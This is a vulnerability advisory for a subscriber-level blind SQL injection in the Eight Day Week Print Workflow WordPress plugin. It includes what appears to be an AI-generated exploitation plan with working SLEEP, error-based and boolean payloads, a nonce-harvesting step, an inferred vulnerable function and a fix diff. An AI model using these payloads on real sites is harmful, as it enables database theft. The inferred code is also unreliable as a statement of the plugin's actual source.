Eight Day Week Print Workflow <= 1.2.6 - Authenticated (Subscriber+) SQL Injection via 'title' Parameter
Description
The Eight Day Week Print Workflow plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'title' parameter in the `pp-get-articles` AJAX action in all versions up to, and including, 1.2.6. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.2.6# Exploitation Research Plan: CVE-2026-5028 (Eight Day Week Print Workflow) ## 1. Vulnerability Summary The **Eight Day Week Print Workflow** plugin (<= 1.2.6) is vulnerable to a time-based blind SQL Injection via the `title` parameter. The vulnerability exists within the AJAX handler for the `pp-g…
Show full research plan
Exploitation Research Plan: CVE-2026-5028 (Eight Day Week Print Workflow)
1. Vulnerability Summary
The Eight Day Week Print Workflow plugin (<= 1.2.6) is vulnerable to a time-based blind SQL Injection via the title parameter. The vulnerability exists within the AJAX handler for the pp-get-articles action. The plugin fails to use $wpdb->prepare() or sufficient escaping when incorporating the user-supplied title into a database query. This allows authenticated users (with at least Subscriber-level permissions) to execute arbitrary SQL commands by appending malicious payloads to the query.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - HTTP Method:
POST - Action:
pp-get-articles(Hook:wp_ajax_pp-get-articles) - Vulnerable Parameter:
title - Authentication: Required (Subscriber or higher).
- Vulnerability Type: Time-based Blind SQL Injection.
- Preconditions: The attacker must be logged in as a Subscriber.
3. Code Flow (Inferred)
- Entry Point: A user sends a POST request to
admin-ajax.phpwithaction=pp-get-articles. - Hook Trigger: WordPress triggers the
wp_ajax_pp-get-articlesaction. - Handler Function: A function (likely named
pp_get_articlesor similar within the plugin's main class) is called. - Input Retrieval: The handler retrieves the
titleparameter directly from$_POST['title']. - SQL Construction: The
titlevalue is concatenated into a SQL string. Based on the namepp-get-articles, the query likely looks like:SELECT ... FROM {$wpdb->posts} WHERE post_title LIKE '%$title%' AND ... - Execution: The raw query is passed to
$wpdb->get_results()without the protection of$wpdb->prepare(). - Sink: The database executes the injected time-delay command (e.g.,
SLEEP()).
4. Nonce Acquisition Strategy
AJAX actions in WordPress typically require a security nonce. For the pp-get-articles action, the nonce is likely localized for use in the admin dashboard.
- Identify Script Localization: Search the plugin code for
wp_localize_script. Common identifiers might includeedw_admin_paramsorpp_ajax_obj. - Setup: Create a Subscriber user and log in.
- Navigation: Navigate to the WordPress dashboard (
/wp-admin/). - Extraction:
- Use
browser_navigateto load the dashboard. - Use
browser_evalto search for the nonce. - Target Variable (Inferred):
window.edw_settings?.nonceorwindow.pp_vars?.nonce. - Manual Verification: If the variable name is unknown, use
browser_eval("Object.keys(window).filter(k => k.includes('pp') || k.includes('edw'))")to find relevant objects.
- Use
5. Exploitation Strategy
The exploitation will use a time-based blind approach to confirm the injection.
Step 1: Authentication
Log in as the Subscriber user and capture session cookies.
Step 2: Confirmation of Vulnerability (Time Delay)
Send a baseline request and then a request with a SLEEP command.
Baseline Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=pp-get-articles&title=test&security=[NONCE]
Malicious Request (SQLi):
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=pp-get-articles&title=test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1&security=[NONCE]
Step 3: Data Extraction (Example: Database Version)
To extract the first character of the database version:
Payload:title=test' AND (SELECT IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)) AND '1'='1
6. Test Data Setup
- Plugin Installation: Ensure
eight-day-week-print-workflowversion 1.2.6 is installed and active. - User Creation:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Content: Ensure at least one post exists so the original query has something to work with.
wp post create --post_title="Sample Article" --post_status=publish
7. Expected Results
- Normal Request: Returns near-instantly (e.g., < 200ms).
- Exploit Request: The server response is delayed by exactly the number of seconds specified in the
SLEEP()function (e.g., 5 seconds). - HTTP Response: Usually
200 OKwith a JSON body (possibly empty or{"success":true}) or0/-1if the handler doesn't return data but still executes the query.
8. Verification Steps
- Verify Delay: Check the
elapsed_timeof thehttp_request. If it exceeds the sleep threshold, SQLi is confirmed. - Check Logs: Inspect the MySQL general log (if enabled) or use a tool like
tcpdumpto see the query being sent to the database.tail -f /var/lib/mysql/hostname.log(if logging is on).
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis enabled, try inducing a syntax error to see if$wpdb->last_erroris reflected in the response:title=test' OR (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT VERSION()),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -
- Boolean-Based: If the response body changes based on the query result (e.g., articles found vs. not found), use a boolean-based payload:
title=test' AND 1=1-- -(True)title=test' AND 1=2-- -(False)
- Different Parameter: If
titleis not the only vulnerable parameter, check other parameters inpp-get-articleslikepost_typeorcategory.
Summary
The Eight Day Week Print Workflow plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'title' parameter in the 'pp-get-articles' AJAX action. This is due to the plugin directly concatenating unescaped user input into a SQL query, allowing authenticated attackers with Subscriber-level permissions to execute arbitrary SQL commands.
Vulnerable Code
/* Inferred from research plan code flow: wp_ajax_pp-get-articles handler */ public function pp_get_articles() { $title = $_POST['title']; global $wpdb; // The title parameter is concatenated directly into the query string without preparation $query = "SELECT * FROM {$wpdb->posts} WHERE post_title LIKE '%$title%' AND post_status = 'publish'"; $results = $wpdb->get_results($query); // ... (truncated) }
Security Fix
@@ -10,7 +10,10 @@ - $query = "SELECT * FROM {$wpdb->posts} WHERE post_title LIKE '%$title%' AND post_status = 'publish'"; - $results = $wpdb->get_results($query); + $query = $wpdb->prepare( + "SELECT * FROM {$wpdb->posts} WHERE post_title LIKE %s AND post_status = 'publish'", + '%' . $wpdb->esc_like($title) . '%' + ); + $results = $wpdb->get_results($query);
Exploit Outline
The exploit targets the 'pp-get-articles' AJAX action available to authenticated users. An attacker logs in as a Subscriber, retrieves the required AJAX nonce from the WordPress admin dashboard (localized script variables), and sends a POST request to /wp-admin/admin-ajax.php. The payload is delivered via the 'title' parameter and uses SQL syntax to induce a time delay (e.g., ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1). By measuring the server's response time, the attacker can verify the vulnerability and exfiltrate data bit-by-bit using conditional SLEEP statements.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.